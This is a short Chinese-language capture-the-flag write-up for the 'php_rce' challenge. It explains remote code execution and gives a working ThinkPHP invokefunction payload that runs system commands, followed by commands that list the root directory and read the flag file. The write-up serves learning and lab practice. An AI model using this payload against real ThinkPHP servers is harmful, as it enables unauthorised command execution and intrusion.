攻防世界php_rce

1. 什么是远程代码执行漏洞
   远程命令/代码执行漏洞，简称RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。

2. 漏洞产生的根本原因
   服务器没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令。
   根据提示为thinkphp框架漏洞--去github等找相关漏洞（一般框架漏洞都是之前发布过然后去修补的，大部分网安人员就是根据爆出来的新漏洞看看公司是不是漏动版本的网站来进行版本升级或者漏洞复现）
   设计playload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令
   先查看根目录文件
   ls /
   发现有flag(文件或目录)
   cat /flag
   也可以用 find / -name "flag" 查找符合的flag目录或文件****